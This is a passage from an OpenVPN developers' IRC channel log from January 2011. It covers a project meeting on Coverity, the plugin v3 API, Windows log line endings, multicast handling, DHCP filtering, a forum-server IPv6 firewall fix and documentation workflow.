ride i can dedicate to that 02:53 <+krzie> mattock, np =] 02:53 <@dazo> krzie: I believe I do ... I I can dig them up and mail them to you 02:54 <+krzie> thank you 02:56 <@mattock> krzeie: formatted it a little bit: https://community.openvpn.net/openvpn/wiki/Topics-2011-01-13 02:56 <@vpnHelper> Title: Topics-2011-01-13 – OpenVPN Community (at community.openvpn.net) 03:00 <+krzie> cool 03:01 <@cron2> mattock: I'd like to bring up "coverity" again 03:01 <@cron2> (since we have "windows building" and "t_client.rc testing" now mostly done...) 03:02 <@mattock> cron2: good idea... I think James never sent me the credentials for it 03:02 <@mattock> better remind him about that again 03:04 <@mattock> on the agenda now 03:04 <@mattock> what about valgrind? 03:05 <@mattock> or other OSS code auditing stuff 03:05 <+krzie> that question sounds like its worthy of being on the agenda as well 03:05 <@cron2> whatever is available, can't hurt to do a few test runs 03:49 <+krzie> https://forums.openvpn.net/topic7479.html added to topc list 03:49 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN to filter DHCP requests in bridge mode : Wishlist (at forums.openvpn.net) 03:49 <+krzie> topic* 04:30 <+krzie> dazo, good point 04:31 <@dazo> I see the use case for DHCP filtering, but ebtables is possible to use in this case ... arguments that "I need to recompile OpenWRT kernel" is not an argument for me 04:34 <@dazo> LWN's Jonathan Corbet sometimes have articles "from your Grumpy Editor" 04:34 <@dazo> maybe I should sometime use a "Grumpy Developer" label from time to time :-P 04:37 <+krzie> dazo, what do you think of this 04:37 <+krzie> https://forums.openvpn.net/topic7446.html 04:37 <@vpnHelper> Title: OpenVPN Support Forum LAN to LAN issues : Configuration (at forums.openvpn.net) 04:37 <+krzie> https://forums.openvpn.net/topic7446.html 04:37 <+krzie> err 04:37 <+krzie> "Openvpn doesn't give an error or warning if client-config-dir is unreadable. 04:37 <+krzie> A hint to the developers to implement this. Although trivial, I spend lots of hours figuring that one out." 04:38 <@dazo> that's a valid point! 04:38 <+krzie> non-fatal error would be handy 04:38 <@dazo> file a trac ticket on that one, you can assign it to me directly ... should be a simple access() call, to check if we can read the --ccd dir 04:38 <+krzie> ok 04:39 <@dazo> could be done at startup, in fact ... the same for --tmp-dir as well and other needed dirs where we read and write ... and in the startup phase, it could be done as fatal even 04:41 <@dazo> waldner's backreference has a lot of good openvpn stuff! 04:41 <+krzie> https://community.openvpn.net/openvpn/ticket/73 04:41 <@vpnHelper> Title: #73 (warning on cant read ccd) – OpenVPN Community (at community.openvpn.net) 04:41 <@dazo> krzie: thx! 04:41 <+krzie> np 04:43 -!- common- [~common@p5DDA482E.dip0.t-ipconnect.de] has joined #openvpn-devel 04:43 -!- common [~common@p5DDA49AC.dip0.t-ipconnect.de] has quit [Read error: Operation timed out] 04:43 -!- common- is now known as common 04:45 <@vpnHelper> RSS Update - tickets: #73: warning on cant read ccd <https://community.openvpn.net/openvpn/ticket/73> 04:48 <@mattock> btw. we can probably move some of the content from openvpn.net to the Wiki 04:49 <@mattock> I should know more by meeting time 04:52 <+krzie> feel free to mirror my routing doc if you like as well 04:53 <@mattock> krzie: ok 05:16 <+krzie> https://forums.openvpn.net/topic7484.html 05:16 <@vpnHelper> Title: OpenVPN Support Forum how to create certificates for "--remote-cert-tls" : Configuration (at forums.openvpn.net) 05:16 <+krzie> ^-- i cant answer that more than gladiatr did 05:17 <@dazo> krzie: could you point JJK at that one? 05:19 <+krzie> mail sent 05:19 <+krzie> forgot to put a subject =/ should prolly get some sleep 05:23 <@dazo> krzie: big mail just sent to you 05:24 <+krzie> yay 05:24 <+krzie> thx 05:24 <@dazo> ugh ... sorry about the mail size, I didn't realise it would get that big .... ~5MB 05:25 <+krzie> np, im sure tgz woulda helped but i dont mind at all 05:25 <+krzie> glad to have them =] 05:25 <@dazo> well, it's mixture of OOXML and ODF ... they're usually zipped to start with 05:27 <+krzie> ahh i thought doc's could normally compress 05:27 <+krzie> either way, got them all 05:33 <+krzie> mattock 05:33 <+krzie> in the forum you cant 'administrate user' 05:33 <+krzie> it goes to a dead link 05:35 <@mattock> krzie: hmm... 05:36 <@mattock> I managed to get to "User administration :: <username>" 05:37 <@mattock> how did you get the broken link? 05:37 <+krzie> moderator control panel, click a name 05:37 <+krzie> click administrate user 05:50 <@cron2> mattock: IPv6 connectivity to forums.openvpn.net is broken right now 05:50 <@mattock> cron2: when was the last time it worked? 05:50 <@cron2> mattock: could this be the same issue as last time, firewall being too strict and eating IPv6 neighbor discovery 05:50 <@cron2> ? 05:50 <@mattock> shouldn't be, but I'll check 05:51 <@cron2> mattock: can't say when it worked last time, just noticed delay in http'ing, and then checked 05:51 <+krzie> neighbor discovery is yummy 05:53 <@mattock> cron2: firewall rules seem to be ok: pass in on em1 inet6 proto ipv6-icmp all icmp6-type echoreq keep state 05:53 <@mattock> at least the ICMP part 05:54 <@mattock> can you do a ping6? 05:56 <@cron2> ping is running 05:56 <@cron2> from 2001:608:4::3 05:56 <@cron2> no response 05:56 <@cron2> mattock: ah, but you did it again 05:56 <@cron2> you permit "echoreq", but that's not enough 05:57 <@cron2> you need to permit neighbour-discovery stuff 05:57 <@mattock> ok... strange because I haven't touched forums since then 05:57 <@cron2> just permit *ALL* icmpv6 05:57 <@mattock> yep, ping coming through... I'll edit the firewall rules 05:58 <@cron2> mmmh, now that is strange - if you see the ping, nd is working, and I should see an outgoing reply 05:58 <@cron2> maybe you lost the default router due to icmp filtering the router advertisement 05:59 <@cron2> ipv6 to community is working fine, just forums have the problem 06:01 <@mattock> now all icmp6 is enabled 06:02 <@cron2> do you see outgoing icmp echo reply? 06:02 <@mattock> krzie: I went to "moderator control panel" and clicked on "Douglas" and "krzee" under "Latest 5 logged actions" and it worked ok 06:02 <@mattock> cron2: I'll check, just a sec 06:05 <@mattock> hmm, "pfctl -sr" output looks suspicious: block drop in log quick inet6 from 2607:f0d0:1001:14::3 to any 06:06 <@mattock> that's above any "allow ipv6 stuff" 06:06 <@cron2> that shouldn't do harm, actually - this is just "if someone else sends me packets claiming to be from *me*, drop them" 06:07 <@mattock> ok, good 06:08 <@cron2> could you show me everything ipv6-related in the pf conf? 06:08 <@mattock> of course 07:32 <@cron2> ok, need to leave now (visit family, aunt's birthday), will be back $verylate tonight, will miss the meeting 07:38 <+krzee> mattock, for me what link did it give you? 07:38 <@mattock> cron2: have fun! 07:39 <@mattock> https://forums.openvpn.net/member/krzee/ 07:39 <@vpnHelper> Title: OpenVPN Support Forum Login (at forums.openvpn.net) 07:39 <@mattock> oh, sorry 07:39 <@mattock> yes, if I click on "Administer user" it does not work 07:40 <@mattock> "The requested URL /member/krzee/adm/index.php was not found on this server." 07:40 <@mattock> I'll check the mod_rewrite rules just in case 07:42 <@mattock> no problems there... although they only apply to HTTPS connections 07:44 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 250 seconds] 07:45 <@mattock> actually "I forgot my password" page leads to pwm, even with http 08:52 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 08:53 -!- mode/#openvpn-devel [+v krzee] by ChanServ 08:56 * ecrist starts upgrading fbsd on the forum server 09:28 <@mattock> ecrist: roger that 09:34 -!- trispace [~rf@bec.fw.firewall.at] has joined #openvpn-devel 09:44 < Essobi> WEE! 09:47 <@mattock> NSI is getting there... got to work out a few more kinks before it produces an installer 09:47 <@mattock> will be back before meeting 10:00 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Read error: Operation timed out] 10:06 < ecrist> forum server os is updated, mattock 10:33 -!- trispace [~rf@bec.fw.firewall.at] has quit [Quit: trispace] 10:44 -!- Praetorians [~praetoria@c-76-111-17-90.hsd1.md.comcast.net] has joined #openvpn-devel 10:45 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 10:45 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 10:59 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 11:39 -!- dazo is now known as dazo_afk 11:55 <@mattock> ecrist: that was fast 11:55 <@mattock> I assume it's just the base system? with ports being updated separately 11:55 <@mattock> ...almost meeting time, btw 12:03 <@mattock> who's here? 12:07 -!- dazo_afk is now known as dazo 12:07 <@dazo> mattock: I am here ... sorry about the delay 12:07 <@mattock> no prob 12:07 <@mattock> let's see what we got 12:08 <@dazo> do we have james on board today? 12:08 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2011-01-13 12:08 <@vpnHelper> Title: Topics-2011-01-13 – OpenVPN Community (at community.openvpn.net) 12:08 <@mattock> I'll mail him 12:12 <@mattock> mail sent 12:12 <@mattock> any other devs around? 12:13 <@dazo> cron2 said he was busy earlier, so I don't expect to see him here today 12:13 <@mattock> yeah, he said he won't make it 12:14 <@mattock> well, let's wait and see if James arrives soon... 12:15 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:15 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:16 <@mattock> hi james! 12:16 <@dazo> \o/ 12:16 <@jamesyonan> hi! 12:17 <@mattock> ok, let's get going, then 12:17 <@mattock> so, topics here: https://community.openvpn.net/openvpn/wiki/Topics-2011-01-13 12:17 <@vpnHelper> Title: Topics-2011-01-13 – OpenVPN Community (at community.openvpn.net) 12:17 <@mattock> coverity first? 12:17 <@dazo> go ahead 12:18 * dazo is time limited today, max 90 min, preferably just 60 min 12:18 <@mattock> jamesyonan: if I remember correctly, you were about to send me credentials for our coverity account... right? 12:18 <@mattock> dazo: let's keep it tight 12:18 <@dazo> thx 12:19 <@mattock> once Windows building is taken care of (=soon) I can move on to other tasks (e.g. coverity) 12:19 <@jamesyonan> mattock: I just forwarded the email to you 12:20 <@jamesyonan> it's pretty old 12:20 <@mattock> jamesyonan: thanks! 12:20 <@jamesyonan> but I'm sure if you contact them that we can get our account up to date 12:20 * ecrist is here 12:20 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 12:20 <@mattock> jamesyonan: I'll do that, then 12:20 <@mattock> hi ecrist! 12:21 <@mattock> ok, coverity is settled... next topic 12:21 <@mattock> dazo: Plugin V3? 12:21 <@dazo> we can do that one! http://thread.gmane.org/gmane.network.openvpn.devel/4255/focus=4343 12:21 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 12:22 <@dazo> jamesyonan: I've sent another patch, changing the plugin v3 struct versioning to a separate versioning constant ... does that look reasonable to you? 12:22 <@mattock> dazo: if this gets an ACK, whole v3 API is ACKed, right? 12:22 <@dazo> yes 12:23 <@jamesyonan> this looks good 12:24 <@dazo> then I'll apply these 5 patches to the tree and get it into allmerged 12:25 <@mattock> excellent! 12:25 <@mattock> next topic would be this: http://thread.gmane.org/gmane.network.openvpn.devel/4274 12:25 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 12:25 <@dazo> we skipped one patch 12:25 <@dazo> http://thread.gmane.org/gmane.network.openvpn.devel/4274/focus=4276 12:25 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 12:27 <@dazo> gah ... it's the same, just different starting points :P 12:27 <@mattock> yeah, I was pretty sure I copied the correct link :) 12:28 <@dazo> the first patch, which Alon replied to is out-of-date ... but the second patch (reply to Alon) is a better fix, imo 12:30 <@mattock> dazo: I think your last reply makes sense 12:30 <@mattock> even if the logs are written to a network drive (e.g. samba share), nothing breaks (excepts newlines of the logfile on the samba server) 12:31 <@mattock> and currently all logs on Windows are broken 12:31 <@mattock> also, in many cases the fileserver is Windows-based, so there's no problem 12:31 <@mattock> ...if I understood all this correctly 12:31 <@dazo> exactly 12:31 <@mattock> I give this patch a "feature ACK" :) 12:32 <@dazo> thx! 12:32 <@dazo> james? 12:32 <@mattock> jamesyonan: what do you think? 12:32 <@mattock> code-vise... or in general 12:33 <+krzee> [10:31] <mattock> and currently all logs on Windows are broken 12:33 <+krzee> how so? 12:33 <@mattock> newline style 12:33 <@mattock> this thread: http://thread.gmane.org/gmane.network.openvpn.devel/4274 12:33 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 12:34 <+krzee> ohhh ok 12:34 <@dazo> log files now are written with only \n as new line. Windows uses \r\n ... so when opening up openvpn logs on windows, in f.ex. notepad you get one very long line with plentiful of black-boxes on the screen 12:34 <+krzee> funny, the only time i ran openvpn on windows i had a network share that i used unix to see the logs 12:34 <+krzee> so i never even noticed 12:34 <@dazo> haha :) 12:35 <@mattock> also, most UNIX text editors can handle any newline style 12:35 <@mattock> unlike the crappy Windows editors 12:35 <@dazo> most *nix systems will simply not care about the \r part ... it's will just look normal 12:35 <@jamesyonan> have you ever seen a text editor other than notepad that can't handle unix line endings? 12:36 <+krzee> !windows 12:36 <@dazo> well, considering I haven't used Windows on my desktop since 98 ... I can't really say I am up-to-date 12:36 <+krzee> aww 12:36 <+krzee> <vpnHelper> "windows" is (#1) pcs are like air conditioners, they work fine unless you open windows 12:37 <@mattock> jamesyonan: I was mostly referring to Notepad :D 12:37 <@mattock> wordpad can handle them, but it's still pretty crappy 12:37 <@jamesyonan> I guess it's reasonable to support notepad considering it's universally available on windows 12:37 <@dazo> which is very common to use to view .log and .txt files in by default 12:37 <@dazo> you have wordpad and notepad which is default installed, iirc 12:38 <@mattock> I'll check wikipedia to see how widespread this "lack of unix linefeed support" is on Windows 12:38 <+krzee> either way... just notepad makes the patch worthy 12:39 <@dazo> I remember fighting with \r\n and \n in my previous jobs, where I got files produced in windows going to be used on *nix and vice versa ... software like MS Office demanded \r\n to parse csv files 12:40 <@mattock> ok, here's something: http://en.wikipedia.org/wiki/Comparison_of_text_editors#Newline_support 12:40 <@vpnHelper> Title: Comparison of text editors - Wikipedia, the free encyclopedia (at en.wikipedia.org) 12:40 <@mattock> hmm... Notepad is the _only_ editor in the list with no UNIX linefeed support 12:41 <@mattock> that must be intentional ... 12:41 <@dazo> all other editors are not written by microsoft 12:41 <@mattock> I wonder why Wordpad has UNIX linefeed support... 12:42 <@mattock> anyways, notepad is the default editor 12:42 <@dazo> it is, and it is people struggling with it in real-life 12:42 <@dazo> (not so technical users who are asked to send logs file extractions, f.ex) 12:42 <@mattock> yeah 12:43 <@mattock> jamesyonan: was the patch ok code-vise? 12:43 <@mattock> hmm, pretty trivial patch actually :O 12:45 <@jamesyonan> so this is essentially just the one line translate-mode patch? 12:45 <@dazo> yes 12:45 <@jamesyonan> sure, that's fine 12:46 <@dazo> the first patch was due to me not knowing about the extra _fdopen() text-mode feature 12:46 <@mattock> btw. does this affect *NIX in any way? 12:47 <@dazo> no change at all 12:47 <@mattock> ok 12:47 <@dazo> this change happens inside a #ifdef WIN32 block, iirc 12:47 <@mattock> ok, this one next: https://forums.openvpn.net/post9180.html#p9180 12:47 <@vpnHelper> Title: OpenVPN Support Forum UPnP over openVPN, is it possible? : Configuration (at forums.openvpn.net) 12:47 <@mattock> more info here: http://openvpn.net/archive/openvpn-devel/2004-04/msg00032.html 12:47 <@vpnHelper> Title: Re: [Openvpn-devel] Multicast over TAP w/ OpenVPN 2.0 (at openvpn.net) 12:48 <@dazo> hmm?? forums not responding? 12:48 <@dazo> oh, just slow 12:48 <@dazo> this reference is also important: http://openvpn.net/archive/openvpn-devel/2004-04/msg00032.html 12:48 <@mattock> krzee: is this the meat of this matter: "Is it possible to make UPnP work over openvpn?" 12:48 <@vpnHelper> Title: Re: [Openvpn-devel] Multicast over TAP w/ OpenVPN 2.0 (at openvpn.net) 12:49 <@mattock> dazo: ^^^ 12:49 <@mattock> :) 12:49 <@dazo> gah 12:49 * dazo is super slow today 12:49 <@mattock> oh yes, "Right now you could call it a bug, or maybe more accurately an unimplemented feature." 12:50 <@mattock> jamesyonan: could you shed some light on this "Multicast over TAP w/ OpenVPN 2.0" issue... is it still valid? 12:50 <@mattock> =a problem 12:50 <+krzee> james, i pointed to a mail list post you made in 2004, not sure if it still counts 12:51 <@jamesyonan> I think the crux of the email is still true 12:52 <@jamesyonan> if you want OpenVPN to be an multicast router you need to intercept IGMP messages 12:52 <@jamesyonan> and use them to alter the internal routing table 12:52 <@dazo> Is that a feature we would like? 12:53 <+krzee> ohh i see 12:54 <@jamesyonan> so right now, openvpn will treat a multicast as a broadcast 12:54 <+krzee> could this be why the OP couldnt get upnp working over his vpn? 12:55 <@jamesyonan> but it could be potentially smarter and limit the number of receivers on a multicast message if it kept track of IGMP messages that tell it which client wants to be a member of which multicast groups 12:55 <@jamesyonan> the point being that this is just an optimization 12:55 <@jamesyonan> right now multicast packets are forwarded, just not efficiently 12:55 <@dazo> so multicast is not lacking, it's just not as optimal as it could be, in regards to bandwidth/overhead on the tunnel? 12:56 <@dazo> ahh, there you go 12:56 <@jamesyonan> yes 12:57 <@mattock> perhaps we should file an enhancement request to trac 12:57 <@mattock> just as a reminder 12:57 <@dazo> I would say we can put this optimisation on a low-prio wishlist 12:57 <@mattock> yep 12:58 <@mattock> I can create a new ticket tomorrow 12:58 <@dazo> thx! 12:58 <@mattock> with the info that came up today 12:58 <@mattock> next and final topic: https://forums.openvpn.net/topic7479.html 12:58 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN to filter DHCP requests in bridge mode : Wishlist (at forums.openvpn.net) 12:59 <@dazo> ecrist: is ipv6 working properly? forum server is slow for me, like it needs to hit a timeout before switching to ipv4 13:02 <@mattock> "Why not add an option to suppress DHCP requests in the bridging scenario?" 13:02 <@mattock> is there any reason to do (or not to do) that? 13:03 <@dazo> basically not to do it because you can do such filtering, even on bridges with ebtables? 13:03 <+krzee> well i think dazo's response in the forum was right 13:03 <+krzee> if we reinvent that wheel, how many more must be reinvented... 13:04 <@dazo> for me this is a filtering feature ... what will be the next filter feature request? "I don't want to see MSN traffic passing the tunnel" 13:04 <@dazo> exactly 13:04 <+krzee> and the dev of the patch didnt come to hold up his side 13:04 <@jamesyonan> there's already some code to filter DHCP requests 13:04 <+krzee> (although no garuntee he even saw it yet) 13:05 <+krzee> ...really? 13:05 <@dazo> hmm? 13:05 <@jamesyonan> dhcp_extract_router_msg 13:06 <+krzee> how does the end-user enable it? 13:06 <@jamesyonan> this is so when a client is running in bridged mode, it will accept settings like DNS servers from the DHCP server, but the ROUTER setting 13:06 <@jamesyonan> (if it accepted the ROUTER setting it would kill its ability to reach the internet) 13:07 <@dazo> ahh, so you intercept and kill the "set router" message only? 13:08 < Praetorians> but that directly effets the operation of openvpn, not the traffic flowing through it. 13:09 <@jamesyonan> server-bridge without any parameters enables options->server_bridge_proxy_dhcp mode 13:09 <@jamesyonan> in this mode all DHCP messages are tunneled except for ROUTER 13:10 <@dazo> that makes sense to have in OpenVPN ... but this guy wants to completely filter out any DHCP requests ... that's a different issue in that case, isn't it? 13:10 < ecrist> not sure 13:11 <@jamesyonan> it's a different issue, but probably could leverage on existing code in dhcp.[ch] 13:11 <@mattock> I don't think it's wise to open this can of worms... 13:11 <@mattock> if the same can be achieved with other tools 13:11 <@dazo> yes, that is my thought as well 13:13 <@dazo> I would rather see more development on the already implemented pf part then, which now only takes IP addresses - make that one also parse protocol and port numbers in addition 13:14 <+krzee> ... /me hears people carving away at the new and improved wheel! 13:15 <@dazo> krzee: on some embedded platforms you might not have proper packet filtering ... so on these platforms, it can be more useful than just filtering DHCP request 13:16 <@dazo> others will see it as a extra layer of security, to have proper firewalling + openvpn packet filtering 13:16 <@dazo> But I don't like the idea to implement a solution which only targets DHCP request and is hard-coded to do so 13:16 <@mattock> +1 13:17 <@mattock> I think this specific issue should be considered a neat hack to fix one specific issue 13:17 <@dazo> agreed 13:18 <@mattock> ok, is that all for today? 13:18 <@dazo> I think so :) 13:18 <@mattock> if so, we were quick today... 13:19 <@mattock> one more thing, actually 13:19 <@mattock> jamesyonan: what are the *.cat files in openvpn.nsi? 13:19 <@mattock> e.g. File "${GEN}\amd64\${PRODUCT_TAP_ID}.cat" 13:20 <@mattock> the new build system does not create them 13:23 <@mattock> are they needed? 13:24 <@mattock> or can I just comment them out? 13:25 <@mattock> I think we can conclude the official part, though 13:25 <@mattock> I'll write the summary tomorrow 13:25 <@mattock> talk to you guys later! 13:26 <@dazo> thx! 13:35 -!- trispace [~rf@chello212017114137.18.11.vie.surfer.at] has joined #openvpn-devel 13:37 <+krzee> dazo, like windows im guessing 13:38 < psha> sorry to raise non development question... 13:38 < psha> recently there was talk about documentation improvement on devel/user list 13:39 < psha> http://thread.gmane.org/gmane.network.openvpn.devel/4354/ 13:39 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:41 <@mattock> psha: this is not a developers-only meeting, so that's just fine 13:41 <@dazo> psha: sure, no prob :) ... well, documentation is probably more development related than support :) 13:41 < psha> hm, it's hard to formulate question... 13:41 < psha> let me clarify a bit my point 13:42 < psha> i'm currently contributing to project which is in same situation - docs migration 13:42 * ecrist guesses it's along the lines of, "when the hell are you updating the docs?" 13:42 < psha> but in openvpn it's mainly openvpn.8 man page in source and there it's lyx docs 13:42 < psha> but issues are same - maintaining docs are comparably hard as writing code :) 13:43 <@dazo> and developers generally "love" to write documentation too ;-) 13:43 <@mattock> psha: agreed 13:44 <@mattock> and if something it's not documented, it does not exist 13:44 <@mattock> except for the one developer who wrote the code 13:44 < psha> so i've just come here in hope that someone already studied different approaches and may shed some light on it 13:44 < psha> mattock: yes, that's issue... 13:45 <@mattock> dazo: have you required people to write docs for their patches? 13:45 <@mattock> I don't remember any "official" decision about that 13:45 <@dazo> dazo: nope, and I do see we have --x509-alt-username as undocumented .... some people have been good at updating docs though 13:46 <@mattock> psha: what do you mean by different approaches? 13:46 <@dazo> but we should enforce documentation updates to get patches applied 13:46 < psha> last discussion in that mail thread was around wiki markup/integration to man 13:46 <@mattock> dazo: +1 13:46 < psha> also there was mentioned ODF (odt?) as a way to allow users easily contribute 13:46 <@mattock> psha: yep, I think Wiki is best if we want to get non-developers involved 13:47 <@mattock> the problem with ODT is versioning... 13:47 < psha> there was similar discussion some time ago in Git mailing list about non-developers for docs 13:47 < psha> yes, diffs 13:47 <@dazo> I think there exists some special git plug-ins for ODF, when I think about it ... but I don't know too much 13:48 < psha> dazo: it's only to look at diffs as i remember 13:48 < psha> not merging 13:48 <@mattock> I guess merging anything but plain text (or maybe simple HTML/XML) can be difficult 13:48 <@mattock> also, we can probably move some of the docs from openvpn.net to the wiki anyways 13:49 <@mattock> I'll get verification by early next week 13:49 <@dazo> Another thing is that ODF can work fine, if everyone uses compatible ODF writers ... we probably know how Microsoft tried to cripple ODF with their own interpretation of ODF 13:50 < psha> mattock: wiki is great for collecting useful docs but it may come very fragmented... so for writing some solid docs it's not great i think 13:51 <@mattock> psha: I see what you mean, I've seen it 13:51 < psha> sure it's just style and organization problem... 13:51 <@mattock> I guess the solution is editing... it seems people are scared to remove obsolete text from Wikis 13:52 <@mattock> which means they get fragmented and fuil of useless information 13:52 <@mattock> without editing 13:52 < psha> for example EMC2 (that's realtime linux based machine controller software) wiki is very large and contains lot of useful information... but finding it out is not easy :) 13:52 < trispace> I think the documentation should kept alongside the code. So one can checkout from the repository and gets both in a consistent way 13:52 <@dazo> docs needs some editorial work, no matter solution ... but my opinion is that we in OpenVPN basically need to get the documentation to be more like a living resource ... I was thinking that we have a simple wiki page for each man page 13:53 <@dazo> so that when you enter these "special" pages, you know it is a man page you are looking/editing on 13:53 <@mattock> trispace: agreed, depending on which documentation we're talking about 13:53 < psha> there are solutions like ikiwiki that are based on revision control as backend so maybe it's possible to have it living on top of source repo? 13:54 <@dazo> and then when we do a release, we pull down the markup code from the wiki, convert it to man/html ... and commit it to the repository 13:54 <@dazo> that kind of "freezes" the man page for a release 13:54 < psha> dazo: so there is only way from wiki to source? and not reverse? 13:54 <@dazo> and in this process, some editing probably needs to be done on the final result ... but the less changes, the better 13:55 <@dazo> psha: yeah, that was my intention 13:55 < trispace> mattock: sure, but I think even documentation about general topics should be kept in the repository (or release tarball) 13:55 < trispace> mattock: as often there are some minor code changes which might affect the overall design as well 13:56 <@mattock> I think there's no optimal solution... we just need to decide what benefits we want to emphasize 13:57 <@dazo> trispace: agreed, we could provide a broader set of documentation ... but I do see this more as a separate repository and not a part of the code repository 13:57 <@mattock> having documentation in the code repository effictively locks out non-developers from contributing to it 13:57 <@dazo> at the moment, we have the official howto's on the web page ... and the man page, that's all 13:58 <@mattock> and having it in the wiki requires conversions and makes documentation in the repo a little obsolete 13:58 <@dazo> mattock: good point, yes indeed ... but a repository can be used to freeze certain versions of the documentation, which will make it easier to create doc packages on misc distributions 13:59 < psha> dazo: repository and wiki are not mutualy exclusive 13:59 <@mattock> as long as stuff is pushed from the Wiki to the repo often enough 14:00 <@mattock> psha: yep, true... but editing the docs from both may become too complex and error-prone 14:00 < trispace> mattock: that's right, but at least in my opinion people who are willing to - lets say clone a git repository - often contribute better quality docs as a random surfer editing some wiki page 14:00 < psha> mattock: yes, only one way allowed 14:01 <@mattock> we definitely don't want to encourage random surfers to edit our FAQ or man page 14:01 <@mattock> most of them probably wont 14:01 < psha> but limiting people to use only wiki is not good too... 14:01 < psha> that's problem with different 'rich' format like LyX - you have only one way to do it 14:02 <@mattock> now, the problem I see is that contributing docs similarly to contributing code locks out people 14:02 <@mattock> you'd basically have to know a) git, b) patching, c) our development process, d) subscribe to -devel mailinglist 14:02 < psha> mattock: last is easiest! 14:02 <@mattock> yeah, true 14:02 <@dazo> psha: true, it can be united ... but it's much more work doing such bridging .... unfortunately, the active part of the OpenVPN community (those who really do contribute with pure changes) is not so big as you might think 14:03 < psha> dazo: as i already mentioned i'm considering this issues not only in context of openvpn - probles are common among many projects 14:04 <@mattock> now that I think of it, I think using a hybrid approach might be best 14:04 <@mattock> keep the man-page in the git repo and take snapshots of it to the Wiki 14:04 <@mattock> keep HOWTO, FAQ, etc. in the wiki 14:04 < trispace> mattock: sounds like a good idea 14:04 <@mattock> the man-page is edited mostly by developers 14:04 <@dazo> For docs, we simply must have as simple solutions as possible so that as many as possible can contribute easily. It is far easier and quicker for a developer to update a wiki page, than to teach a "normal" user how to do changes in a repository ... and I am not considering supporting both wiki and a docs repository, that is the same job twice basically 14:04 <@mattock> the HOWTO, FAQ etc. mostly by users 14:05 < psha> dazo: i have some experiments with repository based wikis but for local work documentation only - two contributors 14:05 <@mattock> dazo: what do you think the "hybrid" approach? 14:05 <@dazo> mattock: man page can benefit update from users ... it is many things there which are not clear, where users can improve it 14:05 <@dazo> mattock: I don't like it, to be honest 14:06 <@mattock> now, let's say we use the wiki for the "man page editing project" and when things stabilize, keep the master copy in the Git repo 14:06 <@dazo> I find it less work for us who need to put the pieces together, to pick all docs from one place ... get it formatted and apply the result to the git tree 14:07 <@dazo> which format it is in the git tree, is less relevant for me ... as long as we're able to "build it" on all supported platforms 14:07 <@mattock> well, if we can make the Wiki -> man conversion more or less automated, then it could work well 14:08 <@dazo> that's my intention 14:08 <@mattock> I wouldn't want scenarios where the latest code in Git has undocumented features (=obsolete man-page) 14:08 < psha> at least asciidoc has fine man page output, i think markdown also has similar features 14:08 <@mattock> and you'd have to go to the wiki to find out about them 14:09 <+krzee> (like ipv6 stuff, which is only uptodate on gert's page afaik) 14:09 <@dazo> and it already in Trac must exists code for doing wiki markip to HTML ... taking that code out and massage it into some scripting (or a C program for that matter) and to produce something which can easily be moved further 14:09 <@mattock> krzee: oh, interesting... that's got to be fixed 14:09 <+krzee> mattock, well the code is only avail in the dev snapshots afaik 14:10 <+krzee> and the docs on gerts page look ready for importing to me 14:10 <@dazo> mattock: that's my point for having one source for docs, and not a hybrid ... easier to know where to edit and keep up to date 14:10 <+krzee> [12:10] <vpnHelper> "ipv6" is (#1) http://www.greenie.net/ipv6/openvpn.html for ipv6 payload patch (adds some nice ipv6 options), or (#2) see !snapshots for a release with ipv6 patches in it, report how it works to help it get included in a stable release 14:10 <@vpnHelper> Title: Gert Döring - IPv6 Payload Patch for OpenVPN (at www.greenie.net) 14:10 <+krzee> (#1) 14:11 <@mattock> dazo: I think that's worth a try... and if we don't get contributions from users, we can reconsider what to do 14:11 <+krzee> if all devs followed his lead on documenting their added features it would be a good thing (tm) 14:12 <@mattock> krzee: true, that's pretty thorough 14:12 <@dazo> mattock: agreed ... if no users are editing the wiki, then we can make it easier for ourselves 14:12 <+krzee> im pretty sure there will be more user contributions if we go the wiki route 14:12 <@mattock> let's try that... this is not a irreversible change 14:12 <@dazo> I am not sure, but I hope so much it will happen 14:12 <@mattock> and frankly, we don't know enough yet 14:12 <@dazo> :) 14:12 <+krzee> i for one have contributed a small amount to the manual via trac... would do more if it were a wiki as opposed to a trac ticket 14:12 <@mattock> so we can only make informed guesses 14:12 <@vpnHelper> RSS Update - tickets: #74: openvpn-2.1.4 floods /var/log/messages when network is down / it is reconnecting <https://community.openvpn.net/openvpn/ticket/74> 14:13 <@mattock> I think I'll add this discussion to meeting agenda, too... 14:14 <@dazo> good idea :) 14:14 < psha> thanks a lot for this discussion 14:15 <+krzee> psha, thank you as well 14:15 < psha> i'll keep track on this in dev list - hope some descision will be posted there too 14:17 <@dazo> psha: thx a lot! 14:24 < ecrist> lots of stuff happens here, too 14:24 * ecrist would argue the 'real' work gets accomplished here. 14:25 < ecrist> in other words, psha, pop in from time to time 14:28 < psha> ecrist: i'm sitting on other channels here so just another one to watch :) 14:40 -!- trispace [~rf@chello212017114137.18.11.vie.surfer.at] has quit [Quit: trispace] 14:42 < ecrist> :) 14:43 < ecrist> I do have to say I agree with krzee and I think the docs should be made more available for updates and editing by the community 14:43 < ecrist> mediawiki does support ldap auth, and we already use trac's wiki 14:43 < ecrist> though, I still despise the wiki built in to trac 14:49 <@cron2> re 15:09 <@dazo> cron2: you around? 15:17 <@cron2> yep 15:18 <@dazo> ahh ... I think I just solved the merge conflict I asked you to have a look at .... tun.c was pretty simple on a second look 15:19 <@cron2> oh? now that's great news :) 15:19 <@dazo> and socket.c, well common sense is hopefully the right thing to do :) 15:20 <@dazo> yeah, I wanted to ask for your opinion ... but ... I was impatient :-P 15:20 